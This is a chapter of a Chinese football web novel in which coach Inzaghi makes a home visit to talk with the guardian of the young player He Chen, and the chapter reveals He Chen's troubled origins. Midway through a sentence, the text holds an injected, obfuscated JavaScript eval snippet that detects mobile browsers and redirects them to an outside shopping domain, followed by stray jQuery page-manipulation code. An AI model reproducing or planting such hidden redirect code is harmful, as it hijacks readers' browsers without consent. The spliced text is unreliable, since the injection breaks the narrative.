欧青赛小组赛第三轮，AC米兰主场迎战凯尔特人。在此之前，米兰在主场以2:6的悬殊比分输给巴塞罗那，而凯尔特人也不是软柿子，比赛结果将影响小组赛的格局。最终，马斯塔利攻破对方球门，用一粒金子般的进球，帮米兰拿下三分。
因扎吉大手一挥，给了U19一天假期。
祖卡拉照例邀请大家去西西里岛玩，和往常一样，只有秦昶响应了；他们的行程就连魔鬼听了都觉得累。贺辰婉拒了一日游，也不想跟其他人去周围玩，苏醒春打电话给他，他破天荒秒接了。
“……世界末日了？”
苏醒春大惊失色，恨不得挂断电话试试贺辰有没有被调包，又想到以贺辰的性格，他敢挂以后就只能漂流瓶联系了。
“我有一天假期。”
“炫耀？恭喜你呀。”苏醒春咬牙切齿，他的声音经过电流处理，钻进贺辰的耳朵，比起恭喜更像诅咒。
“你每周都有两天假期。”贺辰提醒他。
“法律赋予的和自己争取的能一样吗？！”
贺辰扶额，想叹气，又想让苏醒春展示眼白，不过一只手不影响他喂鸭子，三两下送出去一片面包。
“所以你现在在公园喂鸟？”
“喂鸭子。”贺辰纠正，“鸟跟鸭子还是有区别的。”
“管他鸭子鸟的，你把大好时光花在这种事情上？！暴餮天物！不会放假可以把假期给我！”
“你是不是甲亢？这么喜欢放假，我给你指条明路，”贺辰顿了顿，诚恳建议，“你可以退学。”
“然后被打断腿？”
贺辰哼哼两声。
如果他还在荷兰，他们的对话不可能这么平淡，早就肢体动作和语言攻击齐飞了。
不过，闹归闹，苏醒春会陪贺辰做任何事，无论是出门，还是待在家里。
他也可以待在家，可今天同样是苏嘉平的假期。他仍然不习惯跟苏女士相处。
苏嘉平最近忙于工作，难得休息一天，放任自己睡到自然醒。等她起床，贺辰临走时留下的早餐已经凉了，不过份量很足，热热能当午饭吃。
吃完饭，睡意又涌上来。
暖洋洋的午后不仅适合睡回笼觉，还可能收获一位不期而至的访客。
因扎吉站在门口，怀里松松揽着一小束花，银绿色的叶子从臂弯里探出来，带着一股清冽的香气。他的另一只手里提着小礼袋，没有logo，绳子在指间轻轻晃着。
他抬手拨了拨头发，动作很轻，仍有几缕不太安分地翘着。柔和的光落在他脸上，勾勒出棱角分明的轮廓，带着几分意式风情的俊朗。
苏嘉平有些惊讶。
贺辰不爱跟她说每天发生了什么，但有事都会提前告诉她。今天这种情况，要么是贺辰忘了——可能性微乎其微，要么是因扎吉突袭。
“不请我进去吗？”
“抱歉，请进。”苏嘉平侧身，让因扎吉进来，“不过，贺辰不在家，他应该是去图书馆了。我现在叫他回来。”
因扎吉摇摇头：“不用了，我今天来主要是想跟您聊聊贺辰的事。”
“贺辰……他怎么了吗？”
“您别担心，他表现非常好，无论训练还是比赛都无可挑剔。这是教练组的传统，我们会不定期‘家访’，和家长互通球员的情况。”因扎吉目光柔和，嘴角微微翘起，“贺辰这孩子场上场下判若两人，他是我见过最有天赋的孩子，他的‘天赋’很特别，我想他一定能成为最优秀的中场球员。不过，脱离足球，他是一个蛮……奇怪的孩子。我有几个问题希望您能解答。”
苏嘉平变换姿势，上半身无意识前倾：“您说。”
“他在饮食方面有什么偏好吗？您知道的，他需要增肌，又不能破坏他原有的身体优势，所以我们的营养师想给他专门制定食谱，可每次问他他都说自己不挑食，吃的时候又很……痛苦。”
“你们可以把西兰花之类的食材切碎，混在他的饭里。”
“他在阿贾克斯也是这样？”
“您指什么？”苏嘉平不急于回答。她把手叠起来，放在膝盖上，肩膀打开，稍微有些警惕。
因扎吉侧过头，一条手臂搭在扶手上，温和地看着她，苏嘉平的嘴角动了一下，扯出一个转瞬即逝的微笑。
他说：“我发现贺辰的技术、头脑远超同龄人。还有，小组赛第二轮，我们大比分输给巴萨，贺辰虽然难过但没有消沉，这段时间的训练特别努力。很少有像他这样的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17748124|208974||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
球员，天赋是一方面，更多的是后天培养。我想知道贺辰在阿贾克斯踢球的时候是怎么样的？”
“是约翰·克鲁伊夫把八岁的贺辰带到阿贾克斯的。”
因扎吉瞪大眼睛。
苏嘉平点点头，继续说：“他的训练内容跟其他人一样，但是，只要克鲁伊夫有时间，一定亲自教他。他们的师徒关系比外界想象的要亲密。”
恐怕克鲁伊夫的亲生儿子都没有这种待遇。
因扎吉沉默不语，许多种情绪在他的脑海中炸开，堵了个水泄不通。半晌，他才艰难找回语言功能：“那、生活中的贺辰是什么样的？”
这次换苏嘉平沉默了。
她和贺辰之间何止是疏离，用陌生人形容都不为过。
许多年前，贺先生为获取商业利益，让妻子宁女士接近丁先生，也就是她的前夫。宁女士与丁先生发生关系，贺辰是这场丑陋交易的产物。
丑闻曝光，丁先生公开谴责他们“敲诈勒索”，贺先生随即改变口径，将责任推给宁女士。然而，宁女士向媒体曝光了证据，证明三人均参与了此事，没有一个人是无辜的。
苏嘉平又愤怒又痛苦，她果断离婚。出于某种说不清、道不明的原因，她带着贺辰一起离开，来到荷兰。
她不知道自己为什么这么做。
母爱？
同情心？看这个没人要的孩子可怜，所以养了他？
因扎吉离开后，苏嘉平坐了一会儿，突然想去贺辰的房间看看。
贺辰是一个很有秩序的孩子。
他的房间永远干净整洁，东西按固定顺序摆放，每次用完都会放回原位。可屋子的整体布置，跟阿姆斯特丹比又有些许不同：床头有三只泰迪熊排排坐，角落放着吉他和画架等东西，墙边立着一块战术板。
仔细想想，真正把人拒于千里之外的其实是自己。
贺辰会主动分享一些小事，还会暗暗关心自己。过往使他长出一层厚厚的壳子，如今他主动“融化”了一点，接下来就靠她一点点剥开了。
苏嘉平给贺辰发消息，问他什么时候回家。
两天后是贺辰的14岁生日。
从前是苏醒春张罗庆祝，这次不行了，得向他取取经。